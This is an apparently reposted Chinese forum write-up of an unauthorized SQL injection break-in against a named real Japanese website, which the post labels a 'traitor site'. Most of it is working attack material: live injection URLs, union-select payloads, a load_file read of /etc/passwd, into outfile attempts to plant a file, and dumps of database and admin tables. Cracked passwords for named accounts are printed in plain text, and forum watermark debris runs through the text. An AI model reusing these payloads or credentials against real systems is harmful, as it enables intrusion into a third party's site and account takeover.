原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

8 U* c& y0 t0 Q8 v, o( ?$ G
9 s7 s. @: [/ }0x01. 检测 www.zuaa.jp 收集数据


whatweb
5 E8 t+ V  [( d; h, ^  ~4 L; A
  h  @) x% _9 [0 e/ N% x& t
3 T; a- k( g1 Y/ L- g利用NMAP扫描

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
0x02.找注入点
找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390

7 O% L. m$ t+ A  s/ }0 D( I/ Q
0 k4 P9 A/ D1 F  ?1 V) ?0x03.order by
, {/ w1 m, R- l2 ]1 R. S. i             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1

) S7 }) Y7 U! ?) c& h" r+ porder by 28报错，order by 27正常
8 F! ?% R# {/ |2 G) l2 J
0x04.   union手动查询
7 T/ u# C, B$ _+ ~1 }6 khttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
添加到 27 时正常显示

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
6 r+ t/ u$ p' J' D* _: X
  [+ ^- z2 r* k; p* I0x05. info:
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
# ?( y' K4 m( ], W2 ^
: x  p# H! y6 kuser:            root@localhost
database:    openpne
; S5 {+ j- L4 U$ k# ?9 j/ tversion:      4.1.22
* T3 c6 n% m( r1 d( Y! l  Vos:             portbld-freebsd5.4
) a' i! V( p3 O6 ~: m. O0 p
- {% L3 l/ t4 S/ k0x06. root用户
5 u2 L. e9 s. T* e7 h. D2 n5 M% l, o利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

通过工具转换

; z8 W5 R: V  j+ s: }! I  s& g中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x07. 利用 into outfile
& H# G5 r, d2 p- K6 J* P全部都失败
* ]+ w2 y- _7 D  ?1 dhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php
8 j& D9 K7 k* j5 k: s5 s* }  `( u
) o* E2 G- G: G6 t" k. x3 D8 Ihttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php

5 J/ Z8 J) W: I  l4 Z( ]" [页面显示“MDB2 Error:syntax error”

- x# S8 C7 u( n( x+ E+ P0x08. 利用 mysql 4.1
' h) T$ k5 J! d5 }3 M  q猜常规表名，字段未果 工具 sqlmap
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

" j' L4 R2 f' ?( i, u( C, b
8 T# u, p* T( a4 o# F3 h
0x09. 查找后台
) E, _4 M4 |" y; e& k2 v: N9 \7 M利用 现有的各种 后台工具尝试都不行

: x" i. [& @' x0x10.  MySL外联方法
: a6 J( Z1 O9 E3 J从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
3 G% U1 u. j0 p7 Z1 N可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
. M) c( S8 H0 T8 y8 e; ihttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user

这个可以在 www.cmd5.com 解密
3 g: _$ v: G8 e* J) Sroot:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
chen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
openpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
1 ]/ i( t7 E4 Z/ w9 E2 ?zuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
* A5 X9 r+ ?& a2 t工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知
, P8 V- |( J9 ^! o. k( f) u

0x11. 网站突破
8 E% N: U0 Y5 v发现网站的源程序 openpne, google 下载 openpne 源码

- E! s6 ?" P9 |" O* E% T5 z
0x12. 默认信息利用
http://sns.zuaa.jp/?m=admin&a=page_login
  n0 \; @" }% c# N+ C
/ _( y/ Q7 }& }5 C- [3 ^表名 (c_admin_user) ，字段名（username,password）
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user
* w* s' s3 o/ \5 s( M
* Y1 P) C$ G# J8 m1 _, q解密
zuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
( X4 W  v8 R/ U: D4 j# Pzuaajp:c0923ec5857796a393da99905008c176,          zju1897

9 q+ L/ q/ U5 r: Z9 U) k中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x13. 登录后台



0x14. 小结
利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
9 a/ q! t* W: s& N- @感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
: I2 |% n/ [( `2 D# n, \------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
! m: a" J; T+ C  P9 T6 K6 l  G中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
9 Y; R8 D: x7 l* P) z0 p$ V2 r; _
最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！

荒村狂客

哪个牛人 费的这劲 入侵的